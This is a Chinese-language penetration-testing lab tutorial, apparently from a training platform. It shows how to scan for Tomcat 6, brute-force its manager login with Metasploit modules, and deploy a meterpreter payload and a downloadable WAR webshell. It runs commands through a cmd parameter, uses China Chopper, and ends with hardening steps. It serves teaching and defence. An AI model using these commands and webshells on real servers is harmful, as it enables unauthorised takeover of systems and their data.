预备知识
Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器,它也可以被视作一个单独的Web服务器。不过,在默认配置下其存在一定的安全隐患,可被恶意攻击。
实验目的
在配置Tomcat的时候使用了常用的用户名和弱口令,导致Tomcat可被攻击者登陆,并利用manager中的war部署功能上传恶意脚本最终导致服务器沦陷。本次实验将带领大家实际操作攻击tomcat以及如何修复其漏洞。
实验环境
服务器:Windows 2003 IP:10.1.1.146 apache-tomcat-6.0.18
客户端:Windows 2003 IP地址:随机分配
工具下载:http://tools.hetianlab.com/tools/xixi.rar
实验步骤一
探测tomcat端口,暴力破解tomcat帐号密码(由于服务器没有开启tomcat,所以首先请进入服务器启动C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin目录下的tomcat6.exe)
进入实验机客户端,打开metasploit,依次点击“开始”>>“所有程序”>>“Metasploit”>>“Metasploit Console”
打开metasploit界面,等待出现msf提示符后,输入命令并回车,对网段开放了8080端口的主机进行扫描
nmap -sV 10.1.1.0/24 -p 8080 如下所示:
可以看到我们探测出来一个开放了8080端口tomcat服务的主机ip:10.1.1.146(tomcat默认安装后的端口为8080),我们来通过浏览器访问一下tomcat
http://10.1.1.146:8080
点击左边Administration栏下的Tomcat Manager来到Tomcat默认安装后的后台管理地址为:http://10.1.1.146:8080/manager/html
弹出对话框,要求输入用户名和密码,可以尝试下Tomcat默认安装后的用户名admin,密码为空。发现失败,那么接下来使用msf进行暴力破解
首先搜索一下msf关于tomcat的可用模块
search tomcat我们使用 auxiliary/scanner/http/tomcat_mgr_login这个模块
use auxiliary/scanner/http/tomcat_mgr_login
可以查看下配置 show options
可以发现许多参数都已经默认的设置好了,这里就用模块自带的字典吧,只需设置目标IP即可
set rhosts 10.1.1.146,然后输入run命令回车开始破解
可以看到已经成功破解出正确的用户名密码为tomcat tomcat
实验步骤二
通过tomcat后台获取Webshell
当成功破解出tomcat的帐号密码后,我们可以继续使用metasploit获取其webshell。
我们使用exploit/multi/http/tomcat_mgr_deploy模块进行getshell的操作
use exploit/multi/http/tomcat_mgr_deploy
show options
需要设置的参数有用户名、密码、ip、端口
set username tomcat
set password tomcat
set rhost 10.1.1.146 (注意区分这里为rhost而不是之前破解tomcat的rhosts)
set rport 8080
设置完毕后,输入run命令进行攻击,成功返回meterpreter(注意如果没出现meterpreter请重复多运行几次run)
我们可以在meterpreter的基础上进一步获得服务器的cmdshell,如下图所示输入shell回车即可,更多meterpreter的命令可参考合天实验室的metasploit系列教程和https://www.91ri.org/8476.html
使用msf自动获取tomcat的shell固然很方便,但是我们也应该掌握在后台手动部署war木马包获取shell的方法,以便于我们在某些时候下能使用到。
打开http://10.1.1.146:8080/manager/html,输入帐号密码后进入后台往下翻,来到war file to deploy
在这可以上传个war木马包来getshell,将实验室提供的war木马包下载下来(下载地址tools.hetianlab.com/tools/xixi.rar),我们现在就选择该xixi.war木马文件,然后点击Deploy进行上传部署。
成功后,我们便可以在Applications栏中看到刚刚上传的xixi。
在这里,要说明下这个war木马包,把它后缀名改成rar的格式,然后打开,可以看到里面有2个jsp的木马脚本,大家也可以将自己爱用的jsp木马脚本拖进来压缩之后改后缀为war。
现在我们就可以访问一下木马页面了。先来看下1.jsp木马的脚本内容。
其大致意思就是通过参数cmd传入系统命令并将执行回显到当前页面。
所以访问的时候我们需要加上cmd的参数,像如下这样:
http://10.1.1.146:8080/xixi/1.jsp?cmd=whoami
而2.jsp为jsp的一句话木马,打开C:\tools\webshell下的中国菜刀,填入木马地址,密码为xixi,脚本类型选择为Customize,点击添加,即可得到tomcat的webshell。
此外Tomcat服务默认是以system或administrator权限运行的,因此jsp木马就继承了其权限,几乎可以对Web服务器进行所有的操作。比如添加管理员用户,开启3389,连接3389登录服务器。
实验步骤三
Tomcat安全配置
1、设置一个复杂的tomcat的用户密码
进入服务器实验机来到C:\Program Files\Apache Software Foundation\Tomcat 6.0\conf
用记事本方式打开tomcat-users.xml,修改一个复杂的密码并保存。
2、更改tomcat端口
同样在C:\Program Files\Apache Software Foundation\Tomcat 6.0\conf
目录下记事本方式打开server.xml,更改其端口为666,保存,然后重启tomcat服务。(关掉当前正在运行的tomcat窗口,重新打开C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\目录下的tomcat6.exe)
浏览器访问http://10.1.1.146:666/ 再用修改后的密码进行登录
3、或者直接删除webapps目录吧
最简单最暴力最有效
更多tomcat安全配置指导,请参考
http://wenku.baidu.com/link?url=nHHgP_qfac0m-jDCXUZUd8tzkVbiCLYcXy_IzVr-tNcjaDpvuBa_WgyeaepcGGjSpZekl2MtxePRMCx7NsmTjDLLb797_A4n4rVMaAywXFe